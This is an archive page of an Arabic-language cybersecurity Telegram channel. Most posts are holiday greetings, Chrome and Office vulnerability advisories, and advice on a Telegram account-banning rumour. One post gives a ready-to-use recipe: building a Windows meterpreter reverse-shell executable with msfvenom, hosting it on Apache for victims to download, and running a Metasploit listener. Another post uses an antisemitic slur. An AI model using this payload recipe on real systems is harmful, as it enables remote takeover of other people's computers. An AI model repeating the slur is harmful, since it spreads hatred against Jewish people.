SOMBRA
前往频道在 Telegram
اهلا وسهلا في قناة SOMBRA قناة مختصة بالامن السيبراني My channel on YouTube: https://youtube.com/channel/UCsel4b5bHsxjyhhpgItdpKQ للتواصل: @x7l77
显示更多3 641
订阅者
-424 小时
-177 天
-8330 天
帖子存档
3 641
بمناسبة حلول عيد الأضحى المبارك، أتقدم إليكم بأصدق التهاني وأطيب الأماني، سائلاً المولى عز وجل أن يعيده علينا وعليكم بالخير واليمن والبركات، وأن يتقبل منا ومنكم صالح الأعمال. عيدكم مبارك وكل عام وأنتم بخير.
3 641
✅ جميع الأوامر مع الشرح المبسّط:
🎯 1. إنشاء البايلود:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.241.144 LPORT=4444 -f exe -o > payload.exe
> ينشئ ملف payload.exe يعمل اتصال عكسي بـ IP جهازك على البورت 4444.
2. تشغيل سيرفر الويب Apache لنشر الملف:
sudo systemctl start apache2
📂 3. نسخ البايلود إلى مجلد السيرفر:
sudo cp payload.exe /var/www/html/
> الآن الرابط سيكون:
http://192.168.241.144/payload.exe
🚀 4. تشغيل Metasploit:
msfconsole
🎯 5. إعداد المستمع Listener:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.241.144
set LPORT 4444
run
3 641
+1
اليهودي أبن الكلب لازال مصر على انه ينشر مقاطع في حسابه على أساس انه هو ويوهمنا أنه حي ، نزل فيديو جديد على حسابه ولاحضوا الفرق بين الصورتين
الخلاصة الجماعة مبدعين بالai 😂
3 641
تم اكتشاف ثغرات أمنية خطيرة (مثل CVE-2026-2441 و CVE-2026-0628) في متصفح جوجل كروم لعام 2026، تسمح للمهاجمين بتنفيذ تعليمات برمجية ضارة، تخطي قيود الأمان، والوصول إلى بيانات حساسة عبر صفحات إنترنت مصممة خصيصاً. يوصى بشدة بتحديث المتصفح فوراً إلى أحدث إصدار لسد هذه الثغرات العالية الخطورة
أهم تفاصيل ثغرات كروم الأخيرة:
نوع الثغرات: ثغرات استخدام الذاكرة بعد تحريرها (Use-after-free) في مكونات مثل CSS، مما يسمح بـ "الهروب" من بيئة الحماية (Sandbox) وتنفيذ برمجيات ضارة.
خطر الثغرات: استغلال الثغرات للوصول إلى معلومات النظام الخاصة للمستخدمين عبر مواقع خبيثة.
الإصدارات المتأثرة: تشمل الإصدارات من 100.0.4896.60 وحتى 143.0.7499.170 وما حولها، وفقاً لتقارير بداية 2026.
#HadraSec #CyberSecurity #AI #Copilot #Grok #C2 #أمن_سيبراني #ذكاء_اصطناعي
3 641
بمناسبة حلول شهر رمضان المبارك، تتقدم أسرة Sombra بأسمى آيات التهاني والتبريكات لعملائها ومتابعيها الكرام. نسأل الله العلي القدير أن يتقبل منا ومنكم الصيام والقيام، وأن يعيد هذا الشهر الفضيل علينا وعليكم بالخير واليمن والبركات. رمضان كريم، وكل عام وأنتم بخير
3 641
📢 توضيح تقني: حقيقة "ثغرة الحظر" عبر صور البروفايل في تليجرام
كثرت في الساعات الأخيرة إشاعات حول وجود ثغرة تؤدي لحظر الحسابات أو القنوات بمجرد وجود صورة بروفايل معينة. إليكم التفاصيل التقنية بعيداً عن التهويل:
🔍 ما الذي يحدث فعلياً؟
لا توجد "ثغرة برمجية" تخترق حسابك، بل ما يحدث هو إساءة استخدام لنظام البلاغات (Mass Reporting). يقوم بعض المخربين باستخدام صور تحتوي على رموز أو محتوى يخالف سياسات تليجرام الصارمة (مثل المحتوى غير القانوني)، ويتم التبليغ عليها بشكل مكثف وآلي.
💡 هل تحتاج لحذف صورتك؟
إذا كانت صورتك عادية: لا داعي للقلق أو الحذف، فأنظمة تليجرام تميز البلاغات الكيدية.
إذا كنت تملك قناة عامة: يُفضل دائماً الحذر من الصور التي قد تُفهم بشكل خاطئ من قبل الذكاء الاصطناعي للمنصة،او الصور المخالفة بشكل صريح .
🛡️ خطوات الحماية (أهم من حذف الصورة):
خصوصية الصورة: اجعل رؤية صورتك الشخصية لـ "جهات اتصالي فقط" (الإعدادات > الخصوصية والأمان > الصور الشخصية).
تجنب "الفخاخ": لا تضع أي صورة يرسلها لك مجهول ويطلب منك تجربتها، مهما كان السبب.
تأمين الحساب: تأكد من تفعيل التحقق بخطوتين (2FA) لحماية حسابك من أي محاولات اختراق جانبية.
تجنب تحويل قناتك الى خاصة بدون حجز معرف القناة حتى لايتم سرقة المعرف العام لقناتك.
الخلاصة: الموضوع عبارة عن موجة بلاغات كيدية تستهدف الحسابات التي تضع محتوى مخالفاً صريحاً.
حافظ على خصوصية حسابك ولن يضرك شيء بإذن الله.
#تليجرام #أمن_تقني #نصيحة_تقنية
3 641
تنبيه:
الكل لازم يزيل صورة العرض الخاصة فيه او اذا كان عندك قناة زيل الصورة
لأن في ثغرة منتشرة تبند حسابات وقنوات عن طريق البروفايل بس
3 641
🚨 تنبيه أمني عاجل | ثغرة Zero-Day في Microsoft Office
🔴 المعرف: CVE-2026-21509
⚠️ التصنيف: خطيرة جداً (High Severity)
🔥 الحالة: يتم استغلالها بنشاط حالياً (Actively Exploited)
📝 الوصف:
ثغرة تسمح للمهاجمين بتجاوز حماية الأوفيس وتشغيل برمجيات خبيثة بمجرد فتح ملف (Word/Excel) ملغّم.
💻 الأنظمة المتأثرة:
معظم إصدارات Office (2016, 2019, LTSC, 365).
🛡️ الحل الفوري:
مايكروسوفت أصدرت تحديثاً طارئاً بتاريخ 27 يناير.
✅ حدث نسختك فوراً (File > Account > Update Options > Update Now).
#CyberSecurity #ZeroDay #Microsoft #InfoSec #تحديث_أمني
现已上线!2025 年 Telegram 研究 — 年度关键洞察 
